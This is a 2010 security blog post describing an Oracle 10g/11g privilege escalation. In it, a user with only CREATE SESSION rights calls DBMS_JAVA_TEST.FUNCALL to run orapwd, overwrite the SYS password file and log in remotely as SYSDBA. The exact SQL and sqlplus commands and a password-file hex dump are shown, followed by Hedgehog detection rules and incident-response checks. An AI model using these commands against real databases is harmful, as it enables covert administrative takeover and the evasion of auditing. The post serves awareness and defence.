^@^@^@^@^C^@^@^@DB2D9F77CDEAD689^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^P^@^@^@^_&´ÿ@êáÏ<90>½"B^@i<97<9a<85>ÔN<9a>_Ì¡§ <90>-ÍÕ¹^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ..snip

SQL> SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main', '/u01/app/oracle/product/11.2.0/db_1/bin/orapwd', 'file=/u01/app/oracle/product/11.2.0/db_1/dbs/orapwDB11G', 'password=attackersyspassword') from dual;

DBMS_JAVA_TEST.FUNCALL('ORACLE/AURORA/UTIL/WRAPPER','MAIN','/U01/APP/ORACLE/PROD
--------------------------------------------------------------------------------

[oracle@linuxbox dbs]$ ls -alt
total 36
drwxr-xr-x  3 oracle oinstall 4096 Mar 22 03:26 .
-rw-r—–  1 oracle oinstall 1536 Mar 22 03:26 orapwDB11G
-rw-r—–  1 oracle oinstall 1536 Mar 22 03:21 orapwDB11Gbu
drwxr-xr-x  2 oracle oinstall 4096 Mar 22 01:54 pwbu
-rw-r—–  1 oracle oinstall 3584 Mar 22 00:31 spfileDB11G.ora
drwxrwxr-x 72 oracle oinstall 4096 Nov 15 23:12 ..
-rw-r—–  1 oracle oinstall   24 Nov  7 22:51 lkORCL
-rw-rw—-  1 oracle oinstall 1544 Nov  7 22:50 hc_DB11G.dat
-rw-r–r–  1 oracle oinstall 2851 May 15  2009 init.ora

New passwordfile with SYS password of attackersyspassword (00CB6865E85C432E) which can be used to logon remotely as SYS by the previously low privileged JAVATEST account.

^@^@^@^@^@^B^@^@^B^@^@^@]\ ... snip
@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ORACLE Remote Password file^@^@^@^[^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^B^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@INTERNAL^@^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^H^@^@
^@C3F8A12CD7C5176D^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^_VYÓÊ^Qß¹<96>!/O0£=ènSé¢^C==^M¾ðÊ_+/æ^@SYS^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^C^@^@^@
00CB6865E85C432E^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^P^@^@^@^_Ê.c/;Ap¬R^?b\¤Òr%« ð¥<89>ñl]AvKØzÐ ...snip
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@

Basically the SYS password has been changed from the database by a user with just CREATE SESSION without alerting the normal password audited mechanisms. The attacking JAVATEST account can now logon remotely as SYS as follows..

sqlplus /nolog
conn sys/attackersyspassword@192.168.1.2/DB11G as sysdba

This is just one of the variations that I have seen which makes the fixing of these Java vulnerabilities in Oracle important to fix. Note ~ orapwd can be called reliably from the DB on 10g as well as 11g though a different method for backing up the passwordfile will be needed on 10g as DBMS_JAVA.RUN_JAVA does not exist in 10g. Backing up the password file is easily done in 10g as is the identification of OS paths to binaries from the DB, but my intention is not to provide exploit code but to raise awareness to encourage folks to fix these issues..

My recommendation is to write a Sentrigo Hedgehog alert on the use of orapwd which is as simple as this in Hedgehog.

statement matches 'orapwd'
 

Additionally write HH rules to monitor the Java packages prior to public revocation to see what uses them.

--for successful executes
object ='SYS.DBMS_JVM_EXP_PERMS'
object ='SYS.DBMS_JAVA'
object ='SYS.DBMS_JAVA_TEST' 

--all statements containing the string name
statement matches 'DBMS_JVM_EXP_PERMS'
statement matches 'DBMS_JAVA'
statement matches 'DBMS_JAVA_TEST' 

More information on Sentrigo HH in Pete's recent paper
But how best to identify this type of abuse, and react to a potential incident of this nature?

1. UNIX Timestamp on the password file. If it is after the last time that a SYSDBA user changed their passwords in the DB then you know that the password file has been recently updated.
2. Check to see if the SYS passwords differ in the DB and password file.
3. Can check mandatory audit at the OS recorded for all SYS logons.
4. Audit the Oracle UNIX account to local SYSLOG.

The problem is that the SYS password could be put back after the attack and mandatory audit deleted. Really what is needed is a secure monitoring system that can protect against attackers gaining SYSDBA privileges. More to come on how to protect against unauthorised use of SYSDBA privileges in a future post.

Obviously follow support advice from Oracle in the first instance. My main point in this article is that these issues cannot be safely ignored.

If you require extra information about how to secure Java based applications in Oracle systems you are welcome to attend my talk at http://issdconference.com or email myself at paulmwright@oraclesecurity.com

Cheers,
Paul

March 22nd, 2010 | Category: Uncategorized | Leave a comment